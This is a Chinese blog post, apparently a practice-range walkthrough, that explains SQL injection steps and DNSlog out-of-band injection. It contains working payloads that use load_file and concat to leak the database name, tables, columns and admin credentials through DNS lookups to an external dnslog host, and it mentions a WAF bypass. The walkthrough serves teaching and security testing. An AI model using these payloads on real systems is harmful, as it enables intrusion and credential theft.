DNSLOG注入

举报
xcc-2022 发表于 2023/02/24 21:46:13 2023/02/24
【摘要】 知识梳理SQL注入原理:用户输入的数据可以被拼接到原有代码执行SQL注入基本流程:(1). 判断注入点,例:数字型:id=1 and 1=1 页面正常id=1 and 1=2页面不正常;字符型:单双引号、括号闭合,观察页面是否正常;使用sleep()观察页面是否存在延迟;(2)猜解字段数,例:and 1=2 order by 1,2,3通过观察页面是否正常来确定字段数(3)查看显错点and ...

知识梳理

  1. SQL注入原理:用户输入的数据可以被拼接到原有代码执行
  2. SQL注入基本流程:
  • (1). 判断注入点,例:
    数字型:id=1 and 1=1 页面正常id=1 and 1=2页面不正常;
    字符型:单双引号、括号闭合,观察页面是否正常;
    使用sleep()观察页面是否存在延迟;
  • (2)猜解字段数,例:
    and 1=2 order by 1,2,3通过观察页面是否正常来确定字段数
  • (3)查看显错点
    and 1=2 union select 1,2,3通过发现显错位置可以知道在哪里输出想要的信息
  • (4)查询库名、表名、字段名、字段内容
    可以通过查询系统自带库information_schema来获取想要的内容。
    -查询库名
    union select 1,2,database()
    -查询表名
    union select 1,2,table_name from information_schema.tables where table_schema = database()
    -查询字段名
    union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
    -查询字段内容
    union select 1,column1,column2 from table_name limit 0,1
    group_concat可以将多行数据整合到一行输出
    union select 1,2,group_concat(flag) from TABLE_NAME
  1. DNS-log注入原理
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息;
推荐平台:
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
当然你可以根据开源源码自己搭建dnslog服务器,这里贴上BugScan团队开源源码
https://github.com/BugScanTeam/DNSLog

靶场演示

利用场景:

在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的URL发起请求。
PS:DNSLOG注入需要有两个条件,1.SQL服务器能连接网络;2.开启了LOAD_FILE() 读取文件的函数

靶场地址

地址http://59.63.200.79:8014/index3.php

确认注入点

尝试使用and 1=1测试,发现waf


image

根据apache解析特性,他遇到了认不到或者是没有的就会往前解析,尝试绕过waf


image

成功绕过,页面发生延迟,存在注入点

查询数据库名

通过http://www.dnslog.cn平台随记获取一个三级域名rmqdup.dnslog.cn


image

利用and (select load_file(concat('\\\\',(select database()),'.rmqdup.dnslog.cn\\yoyo')))

PS:这里使用concat函数将(select database())得到的内容作为查询url的一部分,和我们的平台三级域名拼接组合成一个四级域名,而load_file函数会通过dns解析请求,所以我们在dnslog平台就可以看到查询的记录(包含着我们注入出的数据);对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。

得到库名mangzhu


image
查询表名

and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.9cfoby.dnslog.cn\\yoyo')))
发现存在两个表admin和news(中间又重新申请域名不要在意细节)


image
查询字段名

and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),'.h7scsv.dnslog.cn\\yoyo')))
admin表内存在三个字段,id/username/password


image

image
查询字段内容

and (select load_file(concat('\\\\',(select username from admin limit 0,1),'.h7scsv.dnslog.cn\\yoyo')))
and (select load_file(concat('\\\\',(select password from admin limit 0,1),'.h7scsv.dnslog.cn\\yoyo')))
得到flag:1flag1good1





【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。